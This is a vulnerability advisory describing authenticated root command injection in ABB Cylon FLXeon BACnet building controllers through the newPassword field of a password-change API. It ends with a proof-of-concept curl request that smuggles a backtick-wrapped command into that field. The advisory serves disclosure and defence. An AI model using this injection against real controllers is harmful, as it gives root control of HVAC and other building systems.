ABB Cylon FLXeon 9.3.4 (users.js) Authenticated Root Remote Code Execution


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated remote
root code execution via the /api/users/password endpoint. An attacker with valid
credentials can inject arbitrary system commands by manipulating the newPassword PUT
parameter. The issue arises in users.js, where the new password is hashed and improperly
escaped before being passed to ChildProcess.exec() within a usermod command, allowing
out of band (blind) command injection.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5912
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5912.php
CVE ID: CVE-2024-48841
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841


21.04.2024

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$ cat project

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$ curl -k -X PUT "https://7.3.3.1/api/users/password" \
> -H "Cookie: user_sid=xxx" \
> -H "Content-Type: application/json" \
> --data '{"oldPassword":"KAKA","newPassword":"ZULU`sleep 7`"}'